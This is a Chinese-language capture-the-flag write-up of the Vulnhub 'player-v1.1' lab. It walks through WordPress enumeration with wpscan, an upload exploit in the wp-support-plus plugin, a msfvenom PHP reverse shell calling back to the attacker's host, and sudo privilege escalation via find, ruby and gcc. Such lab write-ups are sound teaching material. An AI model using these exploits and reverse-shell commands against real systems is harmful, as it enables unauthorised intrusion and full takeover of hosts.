Vulnhub之player-v1.1渗透测试

1、靶机概述

Difficulty: Intermediate

Learning: Web Application | Enumerate | Good Enumeration | Privilege Escalation

Overview:

Tested: VirtualBox/VMWare

Virtual Machine: - Format: Virtual Machine Virtualbox OVA

Networking: - DHCP Service: Enabled

twitter @rahul_gehlaut
链接: 靶机地址
kali地址： 192.168.29.131
靶机地址： 192.168.29.134
VMware加载靶机ova文件后，可能会出现获取不到ip地址的情况，若出现此情况，可参考这篇文章:Vulnhub靶机检测不到IP地址。

2、信息收集

扫描靶机IP地址。

扫描靶机开启的端口和服务，可知开启了80和3306端口。

接着扫描靶机目录

分别访问这些目录，发现并没有可利用的。
访问主页，查看是否有敏感信息。

刚打开就是apache的默认页面，在这里发现了目录信息，这个信息成为这个靶机的突破口，继续对该目录进行扫描。


到这里发现了wordpress相关目录，于是判断该站点为wordpress搭建站点，于是掏出wpscan进行扫描。

一般碰见wordpress站点，有几种思路可以去考虑。

1. wpscan枚举用户名，口令，进入后台上传shell

2. 通过wpscan枚举出相关插件，通过wpscan站点: wpscan查询对应插件版本所具有的漏洞，根据插件的远程命令执行漏洞反弹shell
   首先扫描插件 wpscan --url http://192.168.29.134/g@web --enumerate p，扫描结果显示存在插件"wp-support-plus-responsive-ticket-system"，版本为7.1.3
   
   然后扫描用户wpscan --url http://192.168.29.134/g@web --enumerate u，扫描结果显示存在一个用户wp-local和一个链接。
   
   打开此链接，发现一个可疑字符。
   
   尝试进行后台登录，结果登录失败。
   
   此路不通，尝试另一条路，在https://wpscan.com/上搜索可被利用的插件，发现该插件<8.0.8的版本存在漏洞，正好靶场发现的该插件版本是7.1.3，可以使用。
   

3、获取shell

该漏洞允许上传后缀为phtml,php4,php5等后缀文件，产生原因是由于switch函数中的黑名单列表未覆盖完全，导致可被绕过。之后咱们直接复制漏洞POC修改后，上传shell。

<form method="post" enctype="multipart/form-data" action="http://192.168.29.134/g@web/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="wpsp_upload_attachment">
    Choose a file ending with .phtml:
    <input type="file" name="0">
    <input type="submit" value="Submit">
</form>

使用msfvenom生成shell，msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.29.131 lport=1234 -o test.php

然后将该test.php文件后缀改为test.phtml。
下面咱们通过刚才的POC，上传shell


上传成功，接下来咱们要找到该shell的路径，这里可通过wordpress的目录遍历进行查看，访问http://192.168.29.134/g@web/wp-content/uploads/wpsp/即可查看到shell文件

然后打开msf准备反弹shell

msf开启监听，并页面访问刚才上传的shell.

获取shell，kali和靶机建立连接。
拿到shell第1件事就是获取一个标准shell，可通过以下命令获取python -c 'import pty; pty.spawn("/bin/bash")'

4、提权

由于获取的web账户权限很低，需要继续获取高权限用户，继而获取root权限。

获取高权限用户

cat /etc/passwd查看一下系统存在的用户

这里发现有三个用户，前面咱们发现了一个疑似密码字符串：hackNos@9012!!

依次尝试切换，最后成功登录security

获取root权限

最后就是如何获取root权限，有以下几个思路

sudo -l 查询具有sudo权限命令，然后提权

SUID提权,find / -perm -u=s -type f 2>/dev/null

通过在/etc/passwd添加一个root权限的账户进行提权,find / -writable -type f 2>/dev/null

内核提权

这里使用sudo -l 查询有哪些sudo权限命令

看来可以通过find进行提权，这里推荐一个网站，可以查询sudo的提权命令，链接:gtfobins

这里通过sudo -u hackNos-boat find . -exec /bin/sh \;进行提权

拿到hackNos的权限，下面再次查询sudo -l

看来可以通过ruby进行提权，搜索ruby的提权命令

这里通过sudo -u hunter ruby -e 'exec "/bin/sh"'进行提权

拿到hunter的权限，下面再次查询sudo -l

继续利用gcc进行提权，搜索gcc的提权命令

使用sudo gcc -wrapper /bin/sh,-s .进行提权

获取ROOT权限
获取flag